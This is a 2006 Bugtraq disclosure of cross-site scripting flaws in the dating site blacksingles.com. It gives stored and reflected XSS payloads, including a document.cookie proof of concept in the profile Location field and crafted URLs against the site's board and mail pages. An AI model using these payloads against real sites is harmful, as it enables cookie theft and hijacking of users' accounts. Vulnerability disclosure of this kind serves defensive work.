bugtraq - Blacksingles.com - XSS & cookie disclosure

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Date: 15 Jun 2006 22:42:07 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: Blacksingles.com - XSS & cookie disclosure


Blacksingles.com

Homepage:
http://www.blacksingles.com

Affected files
Profile input boxes
Add a friend input box.
list.html
view.html
reply.html
compose.html
-------------------------------------------------

XSS vuln with cookie disclosure via the Location box.

User data isn't sanatized before generating it here. For a PoC, in your Location, input box below the "Please select your city" option put:

<img src=javascript:alert(document.cookie)>


Screenshots:
http://www.youfucktard.com/xsp/blacksingles1.jpg
http://www.youfucktard.com/xsp/blacksingles2.jpg
http://www.youfucktard.com/xsp/blacksingles5.jpg

When posting in a forum, as well as writing a mail to someone from the forum your location is displayed along with your name/age etc. So the XSS attack can 

occur here too.

----------------------------------------------------

XSS vuln via Add a friend input box.

Data isn't sanatized here either. 

Screenshots:
http://www.youfucktard.com/xsp/blacksingles3.jpg

-------------------------------------------------------

list.html XSS vuln:

http://connect.blacksingles.com/boards/list.html?b=8">">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'


Screenshots:
http://www.youfucktard.com/xsp/blacksingles4.jpg

------------------------------------------------------

view.html XSS vuln:

http://connect.blacksingles.com/boards/view.html?b=8&t=485199">">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'

------------------------------------------------------

reply.html XSS vuln:

http://connect.blacksingles.com/boards/reply.html?b=8&t=485199&p=485199">">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'

----------------------------------------------------

XSS vuln via compose.html.

http://connect.blacksingles.com/mail/compose.html?u=admin">">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'


Screenshots:
http://www.youfucktard.com/xsp/blacksingles6.jpg

------------------------------------------------